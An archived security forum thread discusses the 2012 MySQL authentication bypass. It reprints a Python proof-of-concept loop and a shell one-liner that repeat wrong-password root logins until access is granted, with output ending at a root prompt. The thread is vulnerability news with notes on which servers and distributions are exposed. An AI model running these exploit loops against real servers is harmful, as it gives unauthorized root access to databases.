HomeCalendarCertificationsColumnsFeaturesForumResourcesVitals
 
Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.
Lost Password?
No account yet? Register
Who's Online
We have 63 guests and 2 members online
 
Advertisement

You are here: Home arrow Resourcesarrow News from the Outside Worldarrow Critical MYSQL Authentication Remote Bypass
EH-Net
May 22, 2013, 01:31:25 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
« previous next »
  Print  
Author Topic: Critical MYSQL Authentication Remote Bypass  (Read 2056 times)
0 Members and 1 Guest are viewing this topic.
MaXe
Hero Member
*****
Offline Offline

Posts: 669


I've just upgraded myself to a cyborg muahahaa!!1


View Profile WWW
« on: June 11, 2012, 08:24:16 AM »
Thanks to Dave ReL1K aka SecManiac, a proof of concept has been released (discovered by Sergei Golubchik) in the MySQL Authentication Mechanism.

The bug is fairly simple, as an attacker can force root access by sending a lot of requests containing a wrong password as shown in the proof of concept below.

Code:
#!/usr/bin/python
import subprocess


while 1:
        subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()


Below running the command:


relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A


Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)


Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.


Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.


Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.


mysql>

HD Moore (the founder of Metasploit), created a one-liner briefly after the vulnerability was released to the public:
Code:
$ for i in `seq 1 512`; do echo 'select @@version;' | mysql -h 127.0.0.1 -u root mysql --password=X 2>/dev/null && break; done

In order to exploit this vulnerability the MySQL server must be accessible to the attacker. (i.e. if the attacker doesn't have local access and the MySQL server is running in a Unix socket, no worries then. But if the service is available over the Internet, anyone can potentially access it with root privileges potentially compromising the entire server depending on the configuration.)

Reports has begun to come in on e.g. Twitter stating that RHEL (Red Hat Enterprise Linux) doesn't seem to be affected, but that Ubuntu (and most likely Debian) are affected among other distributions.


Links:
http://secmaniac.com
https://twitter.com/hdmoore/status/211991006630002688
« Last Edit: June 11, 2012, 06:42:55 PM by MaXe » Logged
I'm an InterN0T'er
UNIX
Hero Member
*****
Offline Offline

Posts: 1235


View Profile
« Reply #1 on: June 11, 2012, 10:23:15 AM »
Quote from: MaXe on June 11, 2012, 08:24:16 AM
Thanks to Dave ReL1K aka SecManiac, a vulnerability has been discovered in the MySQL Authentication Mechanism.

Wasn't it disclosed by Sergei Golubchik..?
« Last Edit: June 11, 2012, 10:31:30 AM by aweSEC » Logged
impelse
Hero Member
*****
Offline Offline

Posts: 565


View Profile WWW
« Reply #2 on: June 11, 2012, 10:30:47 AM »
Come on guys, I spent the last weekend working with the PWB lab using metasploit and I found some MySQL abd I could not do anything.....
Logged
CCNA, Security+, 70-290, 70-291
CCNA Security
Taking Hackingdojo training

Website: http://blog.thehost1.com/
MaXe
Hero Member
*****
Offline Offline

Posts: 669


I've just upgraded myself to a cyborg muahahaa!!1


View Profile WWW
« Reply #3 on: June 11, 2012, 06:42:06 PM »
Quote from: aweSEC on June 11, 2012, 10:23:15 AM
Quote from: MaXe on June 11, 2012, 08:24:16 AM
Thanks to Dave ReL1K aka SecManiac, a vulnerability has been discovered in the MySQL Authentication Mechanism.

Wasn't it disclosed by Sergei Golubchik..?

Aaah sorry, it was because it got massive attention as soon as Dave ReL1K posted the PoC  Grin
Logged
I'm an InterN0T'er
Pages: [1]   Go Up
  Print  
« previous next »
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com 		Valid XHTML 1.0! Valid CSS!
Page created in 0.08 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.